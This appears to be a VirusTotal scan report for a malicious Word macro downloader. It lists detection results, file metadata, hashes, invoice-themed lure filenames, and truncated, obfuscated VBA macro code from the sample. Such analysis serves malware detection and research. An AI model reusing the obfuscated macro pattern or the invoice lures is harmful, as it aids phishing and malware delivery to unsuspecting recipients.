Antivirus scan for f582dbdc9337374785c78048b04144141e5a2098bcd45de4f3ab2e293638466f at 2018-03-22 05:38:24 UTC

Antivirus	Result	Update
AhnLab-V3	VBA/Downloader	20180322
Arcabit	HEUR.VBA.Trojan.e	20180322
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180322
ESET-NOD32	VBA/TrojanDownloader.Agent.HJH	20180322
Fortinet	VBA/Agent.HHV!tr	20180322
Kaspersky	HEUR:Trojan.Script.Agent.gen	20180322
Rising	Macro.Run.d (CLASSIC)	20180322
Symantec	W97M.Downloader	20180322
ZoneAlarm by Check Point	UDS:DangerousObject.Multi.Generic	20180322
Zoner	Probably W97Obfuscated	20180322
Ad-Aware		20180322
AegisLab		20180322
Alibaba		20180322
ALYac		20180322
Antiy-AVL		20180322
Avast		20180322
Avast-Mobile		20180321
AVG		20180322
Avira (no cloud)		20180322
AVware		20180322
BitDefender		20180322
Bkav		20180321
CAT-QuickHeal		20180321
ClamAV		20180322
CMC		20180322
Comodo		20180322
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180322
Cyren		20180322
DrWeb		20180322
eGambit		20180322
Emsisoft		20180322
Endgame		20180316
F-Prot		20180322
F-Secure		20180322
GData		20180322
Ikarus		20180321
Sophos ML		20180121
Jiangmin		20180322
K7AntiVirus		20180321
K7GW		20180322
Kingsoft		20180322
Malwarebytes		20180322
MAX		20180322
McAfee		20180322
McAfee-GW-Edition		20180322
Microsoft		20180322
eScan		20180322
NANO-Antivirus		20180322
nProtect		20180322
Palo Alto Networks (Known Signatures)		20180322
Panda		20180321
Qihoo-360		20180322
SentinelOne (Static ML)		20180225
Sophos AV		20180322
SUPERAntiSpyware		20180321
Symantec Mobile Insight		20180311
Tencent		20180322
TheHacker		20180319
Trustlook		20180322
VBA32		20180321
VIPRE		20180322
ViRobot		20180322
WhiteArmor		20180223
Yandex		20180321
Zillya		20180321

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-21 22:36:00

author

Hoshelo

title

Hoshelo

page_count

last_saved

2018-03-21 22:36:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Hoshelo

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/JqjphAF

[+] Macros/VBA/MNdXwwFZJ

[+] Macros/VBA/NsiduOCMBqp

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/jnXCUjNMzEjn

[+] Macros/VBA/vwtpZmGiPZzL

[+] WordDocument

Macros and VBA code streams

[+] vwtpZmGiPZzL.bas Macros/VBA/vwtpZmGiPZzL 36397 bytes

Function hGWMdBcs()
On Error Resume Next
Select Case QjCaw
         Case 6409
            rYlwU = jcKGN
            FDsEm = RZNjLJ
            wVVHzj = Cos(55036 * CBool(58598))
         Case 81359
            miGvY = 22785
            UwvoR = Fix(96730)
            bQshd = Oct(84959)
End Select
LCozt = wmkwjY("MD@QQdzAhBgMAQDA5AQOAIGA1AQYAMDA4AgYAYDAwAQOAMDAyAQZAQGAiBQOAEDAmBwMAYDA2AQMAgDA3AQZAIGAkBQOAUDA4AAOAMDAG", 2 + 0, 97 + 0)
Select Case NbQXz
         Case 25455
            MZkoP = FafmsN
            PPOufX = jhovAw
            ZCqYZw = Cos(88842 * CBool(15160))
         Case 43880
            zCBSB = 71002
            oPusz = Fix(24599)
            scPof = Oct(71993)
End Select
Select Case omlOWW
         Case 64207
            Rqwvuh = KXNivd
            zTrGw = tWnrI
            OwQzTh = Cos(761 * CBool(50918))
         Case 32313
            hCkZzX = 40797
            KFWio = Fix(33479)
            QXIzu = Oct(5509)
End Select
iSpZzZKWp = wmkwjY("JvhNAQGAlBgZAkDAiBgZAEDAlBQYAIDAyAQNAQGA0AANAMDA1AAMAEDAkBANAIGA5AQNAkDAlBQYAUGA5AwNAYDA3AQNAIDA5AANAkDAwAQMAEGA1AwYAADA1AgMAMDA5AwYAMGA5AANAEGAjBwMAMDAxAwNAkDA2AQNAcDAkB8XD", 4 + 0, 167 + 0)
Select Case nLSpt
         Case 46785
            AvCtRm = WYbWAi
            CLkIzc = JsbVd
            PYGIdw = Cos(22503 * CBool(19871))
         Case 19826
            kXfhu = 98163
            cuUakA = Fix(65545)
            uvpqDb = Oct(46439)
End Select
Select Case zPlMzm
         Case 30328
            fIBqoP = PEJMX
            WZnwAG = ttaMS
            uMKSN = Cos(15790 * CBool(17682))
         Case 5054
            BBKOW = 63436
            zqbpq = Fix(52692)
            wQwjFw = Oct(72095)
End Select
BinbjrCDOik = wmkwjY("qql%%kBANAcDAxAQOAUGAmBQMAQGAhBgNAYDA3AQZAIGA3AANAQGAhBAMAMDAyAQNAQDAhBAMAYGAwAwMAQGAjBgMAEGAlBgfHE7", 5 + 0, 91 + 0)
Select Case oYmUEF
         Case 72987
            EOkJYl = mkdUwj
            dKSVLC = bEEaS
            mcBcT = Cos(22650 * CBool(90787))
         Case 44701
            GRSNi [... continues ...]

[+] NsiduOCMBqp.bas Macros/VBA/NsiduOCMBqp 25928 bytes

create-ole obfuscated run-file

Function idnIZPabQwr()
On Error Resume Next
Select Case JuClZ
         Case 33908
            oKBSo = BzioX
            QPdrHv = nFWhWG
            kKmRo = Cos(90957 * CBool(15068))
         Case 99298
            BcAOL = 45049
            aQwmCw = Fix(61271)
            vpmdT = Oct(34614)
End Select
LCozt = wmkwjY("MD@QQdzw%!=%wLoThIqHFJhPG", 2 + 0, 13 + 0)
Select Case fMfaqN
         Case 24999
            cSQEbO = jbQWw
            aTGli = WzIifs
            zoikj = Cos(41020 * CBool(25018))
         Case 32257
            TltEo = 77736
            LNzVM = Fix(9735)
            ZoLiqA = Oct(38369)
End Select
Select Case kAtCEw
         Case 67855
            OHdGw = MAzVZO
            actYln = Owcul
            EoiTk = Cos(93730 * CBool(61027))
         Case 9599
            bcNUPM = 42130
            LDYAJ = Fix(46482)
            dTLWq = Oct(35948)
End Select
iSpZzZKWp = wmkwjY("JvhGmRfThIqHwcaDvYv% teThIqH8XD", 4 + 0, 17 + 0)
Select Case iViqXV
         Case 61662
            cijcAR = QYAtj
            rMPuQ = pRlJOf
            urmYoA = Cos(61727 * CBool(49511))
         Case 51633
            ThXiSC = 74111
            ziOqJ = Fix(36157)
            HrqUqZ = Oct(35651)
End Select
Select Case RLdwz
         Case 86438
            NWzsc = izsONP
            VRltfa = oMvQf
            pkKpp = Cos(27014 * CBool(58496))
         Case 20618
            rmoiz = 89619
            qJczuq = Fix(99729)
            kQWmiA = Oct(51627)
End Select
BinbjrCDOik = wmkwjY("qql%%pEAzXd% tefHE7", 5 + 0, 10 + 0)
Select Case NRJwnD
         Case 48262
            kWwZwF = dLMWm
            iQzkkF = rsjVQ
            aMnwo = Cos(74781 * CBool(69691))
         Case 56744
            YrZbf = 31073
            aSiovf = Fix(2908)
            NDwAI = Oct(86313)
End Select
Select Case TwpXm
         Case 2171
            fqQqKs = djvRw
            iHATwG = KJUwM
            UIprP = Cos(93434 * CBool(53768))
         Case 68767
            vdciK = 5213
            KfHhw = Fix(53764)
     [... continues ...]

[+] JqjphAF.bas Macros/VBA/JqjphAF 6986 bytes

obfuscated

Function tcSrKdua()
On Error Resume Next
Select Case XFwjC
         Case 74435
            bJAVIM = GHNAJ
            kVWibn = AGXvv
            dMwrZj = Cos(84110 * CBool(29291))
         Case 60748
            sicks = 68498
            lZjFhB = Fix(67841)
            FPUsV = Oct(73548)
End Select
MPOinIaW = wmkwjY("ThIqHThIqH,     %^c^E^p^SThIqHmvJQ", 6 + 0, 14 + 0)
Select Case ZYiBI
         Case 30443
            URhEEd = wCaRW
            VMivKP = TQXWKf
            EEBqbU = Cos(94306 * CBool(9720))
         Case 33421
            czGJG = 24299
            bwzjNt = Fix(75973)
            tlUDuK = Oct(89110)
End Select
Select Case IOUlZ
         Case 43358
            TzRUBF = zifBcZ
            ddzCt = krrGHH
            HTZzhN = Cos(86560 * CBool(34444))
         Case 20050
            sOTuk = 17240
            JYSti = Fix(70843)
            jjbIc = Oct(11004)
End Select
FBVruQTdi = wmkwjY("HjM 8GBMnjBLdnblXBYjFKOvP", 3 + 0, 17 + 0)
Select Case NuGpf
         Case 10214
            TOjHTc = oZAAi
            zjoFdj = PBmkp
            qfTNF = Cos(8046 * CBool(7032))
         Case 61602
            JmmLIR = 89333
            aHtaN = Fix(57913)
            AMwCQ = Oct(36026)
End Select
Select Case Dtvzh
         Case 34425
            CWwKiz = jTzPXA
            NSSub = krTKr
            ZSXzYj = Cos(2057 * CBool(75331))
         Case 64714
            cwVFEu = 31099
            dnwJpb = Fix(56012)
            FwwLD = Oct(73935)
End Select
ptKBpc = wmkwjY("p%C27   c/         V/vE", 3 + 0, 16 + 0)
Select Case tYSLU
         Case 47714
            WNibpW = WRqbf
            EoPcwW = iEqWi
            dchljv = Cos(29276 * CBool(94986))
         Case 33232
            fOlGji = 58924
            kXFOF = Fix(17453)
            OzEBRX = Oct(15477)
End Select
Select Case mWwVP
         Case 31345
            oIYBoW = KdPNYA
            oINhji = FQDqc
            rDSOW = Cos(32371 * CBool(26336))
         Case 98171
            TKFBUs = 46895
            WIEfw = Fix(2758 [... continues ...]

[+] jnXCUjNMzEjn.bas Macros/VBA/jnXCUjNMzEjn 601 bytes

ExifTool file metadata

File identification

MD5 0124cbbe81919fa387dacb5c5198a5e0

SHA1 324f1f2a618245f7bbe4cee411d2b564e5e5d178

SHA256 f582dbdc9337374785c78048b04144141e5a2098bcd45de4f3ab2e293638466f

ssdeep

6144:xWhULOeQIFGJSlpWxFOkj6QiTbY/IZsnW:DvQIFGolbkj6jTbzZ+W

File size 225.5 KB ( 230912 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Hoshelo, Subject: Hoshelo, Author: Hoshelo, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Mar 20 21:36:00 2018, Last Saved Time/Date: Tue Mar 20 21:36:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-21 21:49:44 UTC ( 11 months ago )

Last submission 2018-03-23 00:13:17 UTC ( 11 months ago )

File names

Outstanding Invoices.doc
Overdue payment.doc
317-48-374653-172
Scan.doc
Invoice Corrections for
Invoice.doc
44.doc
Invoices Overdue.doc
New order.doc
8 Past Due Invoices.doc
Invoice Number 892758.doc
Past Due Invoices.doc
ACH form.doc
Paid Invoice.doc
Paid Invoice & Credit Card Receipt.doc
Open Past Due Orders.doc
Summit Companies Invoice #40680151.doc
output.113022928.txt
Need to send the attachment.doc
Service Report (32112).doc
Open invoices.doc
317-48-374653-172 & 317-48-374653-830.doc
Service Invoice.doc
Invoices attached.doc
Summit Companies Invoice #1758198.doc

SHA256:	f582dbdc9337374785c78048b04144141e5a2098bcd45de4f3ab2e293638466f
File name:	output.113022928.txt
Detection ratio:	10 / 56
Analysis date:	2018-03-22 05:38:24 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in